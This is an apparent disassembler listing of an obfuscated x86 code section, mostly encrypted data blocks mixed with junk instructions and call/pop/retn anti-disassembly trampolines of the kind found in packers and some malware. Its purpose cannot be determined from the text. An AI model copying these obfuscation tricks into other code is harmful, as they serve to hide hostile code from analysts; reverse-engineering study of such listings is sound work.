		dd 0EE5A828Bh, 5CF72278h, 29A006EFh, 4538E3D0h,	0C21D9AD3h
		dd 0FFD50CC5h, 0F3C9593Eh, 0ABCE8DA1h, 281D9B51h, 47A0B67Bh
		dd 538E7F60h, 70867F6Ch, 0BD4E7077h, 97E27138h,	141D9B51h
		dd 0BF507067h, 91BD4CCEh, 88D635CDh, 0C4278117h, 0C6558C45h
		dd 239DEB81h, 4FBC229Dh, 924A37BFh, 8D31CE7Ch, 0B85E0B82h
		dd 39E03AACh, 991F2D1Ah, 9C110E2Fh, 43BE329Bh, 0C9804216h
		dd 2CDFFDFAh, 339F0A9h,	9B12FBE4h, 0DD8052F8h, 87D3A47Eh
		dd 1AEBD0E7h, 0E12A9493h, 6E70628h, 0CDF2D507h,	816A4D40h
		dd 0C9261184h, 8A665144h, 3D481085h, 56B54D11h,	52BB2408h
		dd 6BA24BAAh, 37B6Ah, 0FC50000h, 0AC658C39h, 6CA13E29h
		dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h
		dd 788B2D3Ah, 0C14E7275h, 89561BCCh, 4C681E6h, 83000000h
		dd 348704EEh, 4895C24h,	2186824h, 3C890000h, 2D796824h
		dd 0C890000h, 7C685524h, 5D4D9B00h, 6696ED81h, 81554798h
		dd 7A352404h, 815F3847h, 477A35EFh, 8B545D38h, 0C481240Ch
		dd 4, 339868h, 243C8900h, 0FF08418Fh, 83592434h, 3C8B04C4h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0F6DDFDE9h
		dd 98AF01FFh, 0B84DE174h, 602A099h, 0E0FFC503h,	577734CDh
		dd 8BE1191h, 32012965h,	5A2DF8B0h, 69ACFCB5h, 7BE31028h
		dd 3EAB9F2Eh, 5272C3C0h, 86631Ah, 66466F28h, 240B5CEDh
		dd 730355B5h, 3D657B43h, 29F4567h, 5F676967h, 13C5555Bh
		dd 64B3EC86h, 39497C77h, 66194AAh, 5884798Eh, 2A187655h
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 0C9BD83F8h, 5F931h, 0BD830975h, 5F912B5h
		dd 50197400h, 0B8C08B53h, 42Dh,	28E98589h, 9D8D05F9h, 5FBF384h
		dd 585BD3FFh, 12B5BD83h, 740005F9h, 0B8535017h,	42Dh, 28E98589h
		dd 9D8D05F9h, 5FBF073h,	585BD3FFh, 6AD1B70Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 5105C352h, 3D30DF44h, 38B6C7E9h, 958BC08Bh, 5F90CF1h
		dd 7BD8D8Bh, 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0A08EDC3h, 0F80EB566h, 0F98370h
		dd 70840Fh, 64FC0000h, 2C3D8Bh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 91FAF9C3h
		dd 2EF99533h, 0FF0B05F9h, 3C840Fh, 3F8B0000h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 34C35141h, 0F4D958Bh
		dd 0C03205F9h, 2CAD8D89h, 0AAF305F9h, 88B0Fh, 29570000h
		dd 0F914759Dh, 49355A05h, 6A535041h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 667FC350h
		dd 0C62147BAh, 0F9189985h, 6A4705h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8531B4C3h
		dd 5F927F9h, 10E9h, 0DC82B400h,	0AAADBh, 0CC74F52Ch, 7521E98Fh
		dd 66206886h, 0BA669B02h, 3481815Dh, 0D4EE0C24h, 50006A47h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0C2F6F9B4h, 1114BEFDh, 0FFD18A5Ch, 0F908D1B5h, 0CE816605h
		dd 840FDDE1h, 1, 10858DFCh, 8B05FCC5h, 0F91F5995h, 85958B05h
		dd 0FF05F926h, 8EBA66D0h, 41B58B10h, 8905F919h,	0F9089585h
		dd 0C8D0F05h, 0F000000h, 68Bh, 8C0F00h,	0C6000000h, 0F9189985h
		dd 6A5305h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 3DA21BC3h, 0FE90E93h, 0FC000000h,	75A107E7h
		dd 4F5D4B06h, 0B14D43BBh, 81669879h, 0E820C3D2h, 4, 88986AFCh
		dd 67BA6650h, 24448B7Fh, 0BE525004h, 263F613Ch,	0F1BA310Fh
		dd 5A279E2Fh, 89008B58h, 8B042444h, 6A58D3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 605733C3h
		dd 14E9h, 0B0716D00h, 21431E1h,	0C8DC49AEh, 901AD84Dh
		dd 4BB70585h, 3D8D091Ch, 6105F928h, 0D1B5FF5Eh,	0E905F908h
		dd 0Ah,	5BCD9275h, 59C4A1D4h, 858DA3A0h, 5FCC510h, 0FF85DE80h
		dd 0FD9533D0h, 8D05F933h, 0FC7A0885h, 85950B05h, 8905F934h
		dd 0F9249185h, 0C5858905h, 6A05F911h, 0FFFF6A20h, 0F9249195h
		dd 41493505h, 85C75350h, 5F91825h, 1, 162985C7h, 5F9h
		dd 52530000h, 25AD9509h, 5A5A05F9h, 6C5858Bh, 0B70F05F9h
		dd 0A364F0h, 83000000h,	0F929B9BDh, 840F0005h, 54h, 1241B50Bh
		dd 858B05F9h, 5F913F5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0D9C35646h, 0BFF2E2D1h, 0EC56FDEAh, 6AE08BA5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A10CC350h, 0C293F10Ch, 1581BD83h, 0F0005F9h
		dd 48185h, 0F38B6600h, 189985C6h, 895605F9h, 0F9209185h
		dd 484E6805h, 890FA6ADh, 2, 481D38Bh, 17E89124h, 0B1E68103h
		dd 0FF1C8257h, 0F908D1B5h, 0F6816605h, 858D9C1Dh, 5FCC510h
		dd 0AE9h, 24297200h, 16A046E3h,	0FF77A802h, 88E280D0h
		dd 7E990h, 0ABAA0000h, 11B28C7Ah, 0D38B5032h, 50E28190h
		dd 0F1DAE65h, 86h, 8D8D8D00h, 8905F914h, 0F9066D85h, 0C1952B05h
		dd 9105F92Eh, 61B65250h, 0E850310Fh, 9,	2B67E54h, 0CDB17908h
		dd 5A5E5AF8h, 0F28B5058h, 50006A91h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 88B74C46h
		dd 0B52B3AA7h, 5F915E5h, 4E8046Ah, 0
		dd 53000010h, 5ED38B66h, 48F0F50h, 50000000h, 8B5A6160h
		dd 0F042444h, 783h, 0EBBA5600h,	5A7A3AEBh, 4489008Bh, 4BA0424h
		dd 58085E54h, 2731958Bh, 0B5FF05F9h, 5F914CDh, 2B99B52Bh
		dd 0D0FF05F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0ACC35141h, 14E9FDh, 0A2ED0000h, 756E6F8Fh, 7426501Dh
		dd 0FCED3927h, 38CD7180h, 0BD8BC69Ch, 5F914CDh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0D7C35545h, 0B57BE0A9h
		dd 0DAD958Bh, 7F0305F9h, 798D293Ch, 8905F910h, 0F91AD585h
		dd 0F8C78105h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 26FCC356h, 0C2CB6678h
		dd 202447C7h, 0E9600000h, 13h, 7663CC5h, 7CE55A36h, 8B9500E9h
		dd 0FF747E22h, 8314A014h, 2A175BDh, 840F0006h, 1C9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0AC35646h, 2914F6F3h
		dd 402ABAC6h, 0BE966ADh, 0C3000000h, 0DD21C14Fh, 2622632Eh
		dd 0C783D376h, 0C7D7B628h, 696A2E07h, 51006A64h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 600CFAC2h, 750940F5h, 8BE18FBAh, 0CE873h, 449F0000h
		dd 34EA91Dh, 4CB9E559h,	0B58BA790h, 5F929CDh, 447C75Ah
		dd 617461h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 1Ah,	0FBC35545h, 0C11501B5h,	858BD8AFh, 602A17Dh, 1F8DBD89h
		dd 478905F9h, 0F985290Ch, 8B05F92Ah, 2A18185h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0D3EF5393h, 7E9D8h, 6E0F0000h, 80D972D5h, 1DB52974h
		dd 8905F925h, 0BE80847h, 3F000000h, 0C542E470h,	1DCCA2D8h
		dd 8D0FCA61h, 6, 830Fh,	835E0000h, 0DE928C7h, 62000000h
		dd 0B08CE0C4h, 0BADD55F2h, 0A80AC225h, 632E07C7h, 6A6E6Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 5B0103C3h, 0F340BF68h, 9D896052h, 5F932DDh, 8B0Fh, 5E610000h
		dd 660447C7h, 6A006769h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 8101C351h, 858B2AFBh
		dd 602A179h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0FEC35747h, 41B529h, 478905F9h,	77C8BE0Ch, 858B5D8Fh
		dd 602A175h, 4789D18Bh,	59BA6608h, 6A5827h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F78A0CC3h
		dd 7B6AC681h, 8D8D0DEEh, 5F91705h, 1AB19D89h, 0E89105F9h
		dd 12h,	0EE143D7Dh, 0E39645C2h,	405D2238h, 126661E1h, 21BA9211h
		dd 5A75126Fh, 0D18B5750h, 8589915Eh, 5F91259h, 148DB5FFh
		dd 0BE6605F9h, 0FB680811h, 0F97128Bh, 581h, 0CE65BE00h
		dd 4814D0Eh, 0ED840524h, 53006A68h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0C869A611h, 6091AAD0h
		dd 0FCD88B66h, 0CDB5FF61h, 0F05F914h, 68Ch, 59D0100h, 0FF05F92Eh
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 99E6D8B9h, 63D9D89h, 5E5005F9h, 810Fh, 0B80000h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 1BA8C351h, 66F4DE18h, 0BB1D3BAh
		dd 24840FC0h, 66000000h, 8D0FF18Bh, 2, 0B5FFFDB2h, 5F90E11h
		dd 0C280F18Bh, 0D595FF2Ch, 0F05F920h, 286h, 8B80B600h
		dd 0BF0F60C0h, 899D8BDEh, 6105F913h, 31C9BD83h,	750005F9h
		dd 0B5BD8309h, 5F912h, 53501974h, 2DB8C08Bh, 89000004h
		dd 0F915DD85h, 0EB9D8D05h, 0FF05FBF3h, 83585BD3h, 0F912B5BDh
		dd 17740005h, 2DB85350h, 89000004h, 0F915DD85h,	8C9D8D05h
		dd 0FF05FBF0h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B750C353h,	7072DACh
		dd 8DE68181h, 15780D3h,	0F921A9BDh, 6AC08B05h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0BFB7C351h, 0D9968BD9h, 0FD51FC2Ch, 5E9h, 0EA601B00h
		dd 10E835B8h, 24000000h, 220A5CF5h, 110F9B47h, 0CEA78C85h
		dd 0E9FD0EA0h, 0Eh, 0DB2E454Ah,	4D5C062Ch, 7A38CB44h, 8B5EC21Bh
		dd 14E8C0h, 6C30000h, 0C40500F9h, 0BB8F4E7Dh, 0AAF12583h
		dd 9FD08338h, 9D897D77h, 5F9184Dh, 0D9852958h, 8105F905h
		dd 6EA2C0h, 38D0F00h, 57000000h, 7BBF5AF8h, 6600001Bh
		dd 0D3CEC981h, 8A0F188Bh, 0Eh, 9E9h, 16ED5B00h,	7E4D3EB5h
		dd 0F381D68Dh, 4D801DF3h, 81CA8B66h, 9DCFFDF3h,	8114B25Eh
		dd 14B5A5F3h, 1889F847h, 6C19D09h, 0E88305F9h, 35958B04h
		dd 4F05F913h, 1C850Fh, 0B58B0000h, 5F91685h, 2FE9h, 1D0C8D00h
		dd 8B266121h, 73594925h, 29A52139h, 85296A95h, 5F90849h
		dd 0FFFF93E9h, 0E1C0BBFFh, 9D71B0E1h, 40BD5F05h, 71C9FA01h
		dd 0AF69F7D4h, 0AC588D8Dh, 6A0602h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0E2DC9BC3h
		dd 3446AF8Fh, 0FD9D3360h, 6605F906h, 3485E881h,	0DD8D8961h
		dd 6A05F90Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 199C357h, 0F94C2711h, 26C185C7h
		dd 64A405F9h, 8D890000h, 5F9003Dh, 455BD8Bh, 85C705F9h
		dd 5F900FDh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+5F909CDh],	edi
		add	edi, [ebp+5F92749h]
		push	dword ptr [ebp+5F92409h]
		push	0
		push	esi
		call	sub_606215
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_606215	proc near		; CODE XREF: .XComp0:0060620Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_606215	endp

; ---------------------------------------------------------------------------
		align 2
		add	esi, ecx
		sbb	dh, [esi]
		ja	short loc_606286
		mov	[ebp+5F910C9h],	edx
		mov	edx, [ebp+5F91039h]
		call	dword ptr [ebp+5F920D5h]
		push	0
		call	dword ptr [ebp+5F91AEDh] ; CODE	XREF: .XComp0:0060628Bj
		mov	eax, eax
		jmp	short near ptr loc_6062C5+1
; ---------------------------------------------------------------------------
		dw 8CA1h
		dd 0A6E3C483h, 0C0696E1Bh, 2C02B2CFh, 68FBCF7Fh, 0CFE6E65Fh
		dd 0E68ABBF8h, 0DAB4037Bh, 0B371AE3Ah, 0BA2114CEh, 0D148A11h
		dd 8409A153h, 9030BC6Eh, 56D8895Bh, 0F9F5891h
; ---------------------------------------------------------------------------
		push	ebp
		dec	eax


loc_606286:				; CODE XREF: .XComp0:0060622Aj
		cmp	eax, 20241831h
		jb	short near ptr loc_606240+3
		scasb
		jnz	short loc_6062ED
		leave
		repne push esp
		insb
		sar	dword ptr [edi], 1
		movsd


loc_606297:				; CODE XREF: .XComp0:0060629Dj
		db	67h
		test	eax, 59774B10h
		loope	loc_606297
		int	0B9h		; used by BASIC	while in interpreter
		and	al, 0F3h
		push	42BDAA7h
		xchg	ch, [edx]
		mov	eax, 0D8F588F5h
		jb	short loc_6062CF
		popa
		add	eax, 78F8466Bh
		clc
		stosb
		or	[edi+3DFB2236h], ebx
		xor	ch, [edx+3]
		push	ebp
		db	64h
		daa


loc_6062C5:				; CODE XREF: .XComp0:00606248j
		imul	ecx, [ebp+2AD8E8Dh], 56006A06h


loc_6062CF:				; CODE XREF: .XComp0:006062AFj
		call	sub_6062D7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6062D7	proc near		; CODE XREF: .XComp0:loc_6062CFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_6062D7	endp

; ---------------------------------------------------------------------------
		db 4Ch
		dd 0C2050EF8h
		db 2Ah
; ---------------------------------------------------------------------------


loc_6062ED:				; CODE XREF: .XComp0:0060628Ej
		mov	[ebp+5F90CDDh],	ecx
		push	0
		push	ebp
		call	sub_6062FE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6062FE	proc near		; CODE XREF: .XComp0:006062F6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_6062FE	endp

; ---------------------------------------------------------------------------
		xor	ecx, [edx+esi*2-36h]
		adc	ch, cs:[ecx-44h]
		adc	eax, 2AFDB8DEh
		xchg	eax, ebx
		inc	ebx
		mov	si, di
		mov	dword ptr [ebp+5F926C1h], 5B4Ch
		or	ah, 24h
		mov	dword ptr [ebp+5F900FDh], 0
		push	0
		push	edi
		call	sub_606342
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_606342	proc near		; CODE XREF: .XComp0:0060633Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_606342	endp

; ---------------------------------------------------------------------------
		dw 619Fh
		dd 666AB0B4h, 854E881h,	159DB5FFh, 0FFF805F9h, 0F920D595h
		dd 5800F05h, 66000000h,	66CFCF81h, 95FF006Ah, 5F91AEDh
		dd 18EBC08Bh, 0C57E557Dh, 4CD7550Ch, 28CEBFF6h,	0B94DBB41h
		dd 0C9122A4h, 9F163741h, 0BE8h,	4765AE00h, 8395C814h, 42FA809Fh
		dd 26D99D01h, 2B5805F9h, 0F91305B5h, 0F3C08105h, 0F00005Ch
		dd 0C92BDBBFh, 91746EBAh, 83C8B6Bh, 1DB58957h, 5B05F91Bh
		dd 0A3E2C781h, 81661D91h, 81B43DD6h, 0D6CF3EFh,	2DB52B72h
		dd 8105F912h, 555C6EC7h, 0D88A5029h, 83C895Ah, 8BD2B70Fh
		dd 0F9095195h, 0E5E98105h, 0E9235C98h, 10h, 3F25694Dh
		dd 0CD76D8A9h, 1ABB68F7h, 0B0A21491h, 98E1C181h, 0F981235Ch
		dd 0FFFFA39Ch, 0FF9B850Fh, 0B589FFFFh, 5F91F85h, 0ADE900EBh
		dd 42000005h, 2BCA729Fh, 2D984CC3h, 21C4788Bh, 30974DB8h
		dd 6BC97B8Ch, 0A6618936h, 9675577Eh, 0A564876Eh, 9677587Fh
		dd 0A8B3846Eh, 2393D7D5h, 0EBD49D52h, 7318EF03h, 67D66D17h
		dd 0D87E2BA2h, 0A246CE62h, 11ABBEDh, 45C82592h,	76759950h
		dd 0B158835Ah, 7DA46D3Ch, 10E697C4h, 0A6632996h, 993FA690h
		dd 0AC55B26Ah, 96110E6Fh, 816C8B29h, 3EAD4188h,	7196369Dh
		dd 1CA384B8h, 8A5F56AFh, 85658564h, 562D9CAEh, 69857214h
		dd 0EB96BA6h, 44C327AEh, 87B2578Dh, 95C4B1CCh, 9B712E29h
		dd 0C5AFC020h, 0EFFF62h, 0D0F72DDEh, 3FE81CEDh,	378612FAh
		dd 0E81EBC3Fh, 960F324Bh, 5CF2AF29h, 2EED308Dh,	29960F4Bh
		dd 0EE16DBC8h, 0E607F049h, 0F710C27h, 31EE2996h, 0D00A2A1Dh
		dd 0E57D2F97h, 8EB35A83h, 9ABC4771h, 80856651h,	70872E0Dh
		dd 5998BE4Fh, 8E756370h, 62975207h, 22937655h, 0AC8DA747h
		dd 4EB3C655h, 73302394h, 0C91187E3h, 310E910h, 23944E7Ah
		dd 90E90AF7h, 623944Eh,	0C6C323E8h, 0A580330h, 0BD298D57h
		dd 0D3DA2F8Eh, 0D8339906h, 14CD04D5h, 56F62BC0h, 0B10D3013h
		dd 4782575Eh, 847B3EA7h, 0AB9EB059h, 1D9AE0CEh,	6A6BA44Ch
		dd 23AA5D7Dh, 623C2A65h, 1A6B61D6h, 0CD71596h, 0C00EED01h
		dd 3548D32Eh, 0AB1D9B1Dh, 1ACFC63Dh, 0B257F7A4h, 46D4353Eh
		dd 179F7h, 608C5100h, 7BB65975h, 0D9A4AF7Ah, 56299685h
		dd 718E2BA9h, 9C99BD48h, 93966F65h, 6D55A391h, 9675CBAEh
		dd 965B4829h, 75CDB06Bh, 5D4A2996h, 75EF96B9h, 75542996h
		dd 6C3DB053h, 0DA987CA5h, 7E44D76Fh, 44E5FE10h,	37002AD0h
		dd 0F006098Eh, 831DC01h, 0B73ECDEFh, 3E24CE2h, 0F10E33DAh
		dd 36AF3FCAh, 18B632A4h, 677DCED6h, 0F0395A03h,	0F3530039h
		dd 192F8F6Eh, 0CEC93E9Eh, 0C59419EEh, 25DCC931h, 35D9369Ah
		dd 0BB112EACh, 20396E5Eh, 27D67889h, 818C313Bh,	772A158h
		dd 84239C89h, 8DBD7797h, 0DC2F8D1Bh, 0E5D3EC15h, 2CC2971Eh
		dd 0B5D254FFh, 10FD2995h, 0A35A7A03h, 0BF0AF71Dh, 0D401E9CEh
		dd 0F7B223ECh, 0FFEB0A32h, 8F158508h, 0C52EA65Bh, 97A1E02Fh
		dd 7F9C99BDh, 1DA3482Eh, 0B2A65E4Bh, 0D143FE24h, 0A21E0345h
		dd 89A64879h, 73EE5CB0h, 66850E5Bh, 9A017DD0h, 8774239Ch
		dd 31B92106h, 62945617h, 8FB57CDEh, 6D518468h, 0A1DC77A2h
		dd 1E17A98Eh, 0C871A861h, 0A98EF28Bh, 0FDFE7D17h, 348BDC0Dh
		dd 0A841D5D2h, 4030B01h, 9A61B4ECh, 0EE72E874h,	0E1B83DD2h
		dd 0E406F128h, 0F1220F1Fh, 17AA21BCh, 730D4D1h,	0BA3BCCF0h
		dd 3CA04FDFh, 7BE16CBh,	0D5A8B34Dh, 5217AA0Ch, 59997F55h
		dd 58917C61h, 78E7D5Fh,	9572BC52h, 59CEAF6Ch, 5E4B17AAh
		dd 46CE82B8h, 9336B027h, 79040F7Dh, 0F629967Dh,	322EC009h
		dd 0A41B61A4h, 327E7C28h, 0B51142F7h, 0D32F8E9Fh, 0E12C912Eh
		dd 9C7D2752h, 57F7A423h, 0DC99C59Fh, 0BA65C0C2h, 54797E6Fh
		dd 0A4C983B9h, 8965CB51h, 97892E86h, 0D0B6E624h, 1267EC19h
		dd 0D2239BD7h, 2FC7E6FAh, 0E707A0BDh, 0FB26E708h, 1D60FB46h
		dd 9A239B91h, 912B4EEDh, 0FBA8239Bh, 0D9F6E15Bh, 160FD902h
		dd 3B7AD1D7h, 0DB06CB06h, 870EF7E4h, 2B4831E2h,	0D8C5239Ch
		dd 45E4FD11h, 2D1C42CFh, 29CDAC03h, 31E825CAh, 4CE227C6h
		dd 38260193h, 6F508B34h, 92D07981h, 4C85DB5Dh, 0DE925F85h
		dd 0A648D5D7h, 0B566B119h, 239BEFC4h, 88D4441h,	0EFC7B261h
		dd 5744239Bh, 3EA07C92h, 7B000000h, 42B35C84h, 0FF71C767h
		dd 4B083169h, 2F8F99FBh, 0D1369621h, 11C8B53Dh,	70522BE8h
		dd 0D2CF239Dh, 0F906A33Ch, 27E808D5h, 183EEBE2h, 0E019F4D9h
		dd 9518F7D7h, 0DB0832C4h, 17h, 8831CE25h, 0E697C47Dh, 63299685h
		dd 786190A6h, 0BE1F088Dh, 8C93AD4Fh, 547EA65Fh,	55AE1CA3h
		dd 74D26C60h, 0FB79715Fh, 8132036h, 29958979h, 671241EEh
		dd 0DD299589h, 0E99608FBh, 25CAAD20h, 0FBF217B6h, 0C13EE32Eh
		dd 3DFCF11Ch, 95895B1Eh, 0E62BD829h, 1638D3F9h,	90BE4DCDh
		dd 0F4D7E099h, 0D340115h, 0AE40CDF2h, 9589E69Bh, 4E7C5B29h
		dd 64A14AB5h, 0C871B871h, 9589F28Bh, 8AB26F29h,	5CA912ADh
		dd 7F6E8059h, 0AB5E7D5Eh, 9C44BB66h, 0C38A8273h, 25FA32B9h
		dd 6BC569A0h, 3E5C4E9Ch, 9D000000h, 0E5C6B764h,	8E3C2995h
		dd 35A98075h, 0CE90A648h, 704D8A31h, 8861549Dh,	0A7668766h
		dd 719C4126h, 3D666ECBh, 0A715D827h, 0FCC1AD41h, 0DC00D903h
		dd 3AEFAA2Bh, 0CFF9E6B3h, 46E8C134h, 0AC658CF0h, 6CA13E29h
		dd 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h
		dd 788B2D3Ah, 0C14E7275h, 89561BCCh, 4C681E6h, 83000000h
		dd 343304EEh, 24343124h, 5C243433h, 680768h, 242C8900h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC81241Ch
		dd 4, 0B9240C89h, 1C1031E9h, 6649E981h,	0C1813E3Ch, 282EE2AAh
		dd 5459CD89h, 81241C8Bh, 4C4h, 0BA525500h, 112540Ah, 4245431h
		dd 8438F5Ah, 0A087381h,	0FF011254h, 815B2434h, 4C4h, 242C8B00h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F6CB25E9h, 1E1B76FFh
		dd 459D3128h, 0B36D11A7h, 32CC29EAh, 2B355B8h, 0FFC50306h
		dd 3AB7DAE0h, 55B53201h, 67EF16Ah, 96B5D913h, 86A18535h
		dd 252C8463h, 89FDA34h,	0A66DEA70h, 0D5FD4A70h,	29AF7832h
		dd 659B3A0Dh, 0C3816679h, 0D08B1EFFh, 0F3ADC80h, 128Bh
		dd 0DE900h, 1D220000h, 4B09DEE7h, 69C4B1FEh, 0F0BB2CEh
		dd 38Ah, 0F28B6600h, 0BE9h, 958EEA00h, 21432FE9h, 1E69F48Fh
		dd 0FE860h, 8CD00000h, 0E0A71E00h, 30E34E49h, 7CDDCFF1h
		dd 5E921h, 5C450000h, 5B4CD03Ah, 0BE961h, 0FAE90000h, 0EB885BE1h
		dd 0F770C889h, 6EDF8035h, 0F4FEBF66h, 0F380F28Bh, 0C18B600Dh
		dd 0BBB061F8h, 0F9F8C38Bh, 5810Fh, 43BE0000h, 0B51695DEh
		dd 576FBA25h, 0BF0F3F35h, 85D9BBD0h, 0BA661C43h, 66FC30DEh
		dd 8166CB8Bh, 0FF9D0E8h, 0F180DABFh, 0C6816619h, 0BF66A0F4h
		dd 0B70F83D1h, 0DF8B66D1h, 37C059B9h, 0EE979h, 48E60000h
		dd 23118594h, 0F476A196h, 7AD9A86h, 10E8CA8Bh, 22000000h
		dd 14FF747Eh, 19A314A0h, 0CC1FF6ECh, 0E8A60A48h, 0Dh, 0D73DFE1Fh
		dd 7A338BE4h, 13990E44h, 5B595794h, 14E9605Fh, 0F2000000h
		dd 6719EC2Ah, 6C04B96Dh, 0F1FE8B61h, 0AC15BA2Dh, 663A5B8Bh
		dd 8B61F88Bh, 0EE8166F3h, 0B9660606h, 0F88B19BCh, 0AE9h
		dd 2B065500h, 843DEDE0h
		dd 667EDF52h, 5851DE8Bh, 2DD98166h, 0C4CD8028h,	8B665250h
		dd 0E95959C6h, 0Fh, 0F27852BFh,	39072FADh, 1EB4D78Dh, 80B09F33h
		dd 815164DCh, 0EA4F3D9h, 81665E39h, 0F5193F3h, 986h, 3820F00h
		dd 0F000000h, 0C88BC0B7h, 12E9h, 48EFA200h, 0E7DA3B57h
		dd 0CA438285h, 3FCA0D95h, 0F762924h, 1086h, 0BE900h, 62CB0000h
		dd 57FBACA5h, 115DCDD4h, 4D9FBBEBh, 7E80D27h, 5B000000h
		dd 1635E023h, 58F9FE8Dh, 198B0FF9h, 0E8000000h,	0Eh, 7FB769EFh
		dd 40E49A0h, 23B6713Bh,	0D3B842CDh, 5B4E5E74h, 0E7CA8166h
		dd 41CA80C9h, 7E960F8h,	0BB000000h, 4D45C334h, 0CE811E93h
		dd 75446DF2h, 50D6B361h, 58F2BF0Fh, 0E9CF8B66h,	14h, 0F5000905h
		dd 3231D7E0h, 5ECBF296h, 4B5BDAB7h, 0A895F7D0h,	0F88B66FCh
		dd 12E956B0h, 39000000h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h
		dd 0CBB8403Eh, 0BE860ACh, 2000000h, 66B3A9D8h, 97BE7E8Ch
		dd 0F6B613C6h, 0F3816659h, 0F61040Eh, 0E7BAF9BFh, 8A2A71BDh
		dd 0BE8D3h, 9B130000h, 0B9772B0Bh, 0A365C2CEh, 0F78B66B8h
		dd 0E3BF665Ah, 2800F2Fh, 8B000000h, 0F4D480F8h,	0BB666DB4h
		dd 66562BB9h, 741C081h,	0D98B665Ah, 5AE868BFh, 13E95Ah
		dd 0AE820000h, 5CB4ADC9h, 8170C29Bh, 72AD47D4h,	12264681h
		dd 6BE281D1h, 0F52B825h, 182h, 0BA66F900h, 8B6681CBh, 0DE8D8h
		dd 41420000h, 0C2D53E0Dh, 0E991C95Ah, 60D5A203h, 0D8C98166h
		dd 81586138h, 0E4F944E9h, 0BF0FF828h, 7E8F9h, 32A00000h
		dd 196C3AFh, 12E970h, 807B0000h, 65EA7746h, 0BEE6271Bh
		dd 0B780124Fh, 717CC5Ch, 0CEBF0F59h, 12E9h, 57545B00h
		dd 3EB178E7h, 94267091h, 8D6925EBh, 0E943A707h,	0Fh, 3FBBEB42h
		dd 0A8528FEFh, 5D2AED27h, 0FC1CCAD8h, 2EE8166h,	0E532B93Eh
		dd 0BF0F577Eh, 0D1BF0FDBh, 0FCEBF0Fh, 0E881F1BFh, 3CC0686Bh
		dd 4ADABF66h, 66D3B70Fh, 7F1EE081h, 0FC60F5F9h,	6E960h
		dd 274D0000h, 0EBD57178h, 8B0Fh, 61610000h, 3B56BE66h
		dd 0B7D1D2B9h, 7D8DBF2Fh, 6660321Ah, 7BEF281h, 72B96650h
		dd 60615B1Dh, 18870Fh, 13E90000h, 0B3000000h, 0E1C5E5FDh
		dd 0AF8EE42Ch, 2BDFE50Fh, 44DEE88Bh, 8A617122h,	0FC38AFDh
